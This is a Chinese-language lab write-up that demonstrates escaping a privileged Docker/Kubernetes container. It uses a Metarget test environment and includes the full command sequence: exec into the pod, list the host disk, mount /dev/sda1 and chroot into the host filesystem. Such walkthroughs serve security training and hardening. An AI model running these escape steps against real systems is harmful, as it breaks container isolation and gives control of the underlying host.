容器逃逸-危险配置 【背景介绍】
最初,容器特权模式的出现是为了帮助开发者实现Docker-in-Docker特性。然而,在特权模式下运行不完全受控容器将给宿主机带来极大安全威胁。
官方文档对特权模式的描述如下:
当操作者执行
<font style="color:rgba(0, 0, 0, 0.9);">docker run --privileged</font>
时,Docker将允许容器访问宿主机上的所有设备,同时修改AppArmor或SELinux的配置,使容器拥有与那些直接运行在宿主机上的进程几乎相同的访问权限
【漏洞环境】
- 任意版本的docker或者k8s
./metarget gadget install docker --version 18.03.1
./metarget gadget install k8s --version 1.16.5 --domestic
- 启动特权容器
【漏洞复现】 特权模式下容器能看到宿主机硬盘设备,可以通过挂载宿主机硬盘的方式实现文件系统层面的逃逸,示例如下:
root@zyliang:~/metarget# ./metarget cnv install privileged-container
docker already installed
kubernetes already installed
privileged-container is going to be installed
applying yamls/k8s_metarget_namespace.yaml
applying vulns_cn/configs/pods/privileged-container.yaml
privileged-container successfully installed
root@zyliang:~/metarget# kubectl get pod -n metarget
NAME READY STATUS RESTARTS AGE
dvwa-web-86b6ccdc69-5cvld 1/1 Running 6 9d
privileged-container 1/1 Running 0 7m7s
【参考链接】
root@zyliang:~/metarget# kubectl exec -it -n metarget privileged-container /bin/bash
root@privileged-container:/# cat /etc/hostname
privileged-container
root@privileged-container:/# fdisk -l | grep /dev/sda1
/dev/sda1 * 2048 125827071 125825024 60G 83 Linux
root@privileged-container:/# mkdir host
root@privileged-container:/# mount /dev/sda1 /host
root@privileged-container:/# chroot /host
# cat /etc/hostname
zyliang
https://github.com/Metarget/metarget/tree/master/writeups_cnv/config-privileged-